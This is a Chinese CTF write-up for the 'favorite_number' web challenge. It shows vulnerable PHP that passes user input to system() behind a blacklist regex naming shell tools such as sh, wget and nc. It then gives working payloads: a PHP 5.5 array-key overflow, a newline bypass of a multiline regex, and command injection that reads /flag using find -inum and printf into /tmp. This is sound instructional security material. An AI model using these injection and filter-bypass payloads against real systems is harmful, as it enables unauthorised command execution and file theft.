1. 程式人生 > 實用技巧 >攻防世界-web-favorite_number(php5.5的陣列key溢位、換行符繞過正則跨行匹配、inode號繞過檔名過濾、檔案輸出繞過正則)

攻防世界-web-favorite_number(php5.5的陣列key溢位、換行符繞過正則跨行匹配、inode號繞過檔名過濾、檔案輸出繞過正則)

進入介面

<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            
echo "my favorite num is:"; system("echo ".$num); }else{ echo 'Bonjour!'; } } } else { highlight_file(__FILE__); }

簡單的程式碼審計

  • 首先是個判斷,既要陣列強等於,又要首元素不等
  • 然後是個正則"/^\d+$/im",要求整個字串都是數字,大小寫不敏感,跨行檢測
    • ^和$ 匹配字串開頭和結尾
    • /d 匹配數字
    • /i 表示匹配的時候不區分大小寫
    • /m 表示多行匹配。什麼是多行匹配呢?就是匹配換行符兩端的潛在匹配。影響正則中的^$符號
  • 接著是個黑名單,把常用的可以執行的程式碼命令都排除了
  • 最後是一個system函式,可以執行外部程式並且顯示輸出

所以本題的解題思路是,先繞過前面3個if判斷,然後利用system()執行外部命令。

一 陣列比較繞過:通過php5.5版本的陣列key溢位漏洞

參考陣列的key溢位問題

payload如下(4294967296=2^32)

stuff[4294967296]=admin&stuff[1]=user&num=123
或者
stuff[-4294967296]=admin&stuff[1]=user&num=123

成功繞過第一個if判斷。

二換行符繞過正則跨行匹配

然後嘗試繞過數字檢測,可以使用換行符%0a繞過跨行匹配。

payload如下

stuff[4294967296]=admin&stuff[1]=user&num=123%0als

這裡不能使用hackbar來執行payload,因為火狐瀏覽器會自動在換行符%0a前面加上回車符%0d,湊成%0d%0a,使繞過失敗。

使用burp,成功繞過數字檢測,執行ls命令。

三 黑名單繞過

檢視系統根目錄,我們發現了flag檔案。

本來應該執行cat /flag我們就可以直接得到flag。但是由於第三個if判斷過濾掉了cat和flag以及其他的一些特殊字元。我們就只能想別的辦法了。

linux系統習下檢視檔案內容的方法有如下

除了cat在黑名單中被過濾了外,其他的我們都可以使用,比如這裡我們用tac。

檔名繞過則有兩個比較好用的方法

方法1 用inode索引節點

先使用ls -i命令尋找flag的inode號,payload如下

然後,讀取flag(使用`繞過單雙引號過濾)

stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 38406195`

方法2將檔名輸出到檔案裡,然後執行檔案。

payload如下

stuff[4294967296]=admin&stuff[1]=user&num=123%0aprintf /fla > /tmp/hello && printf g >> /tmp/hello && tac `tac /tmp/hello`

知識點小結

  • php5.5的陣列key溢位
  • 換行符繞過正則跨行匹配
  • inode繞過正則
  • 檔案輸出繞過正則

參考:https://www.freesion.com/article/93221418160/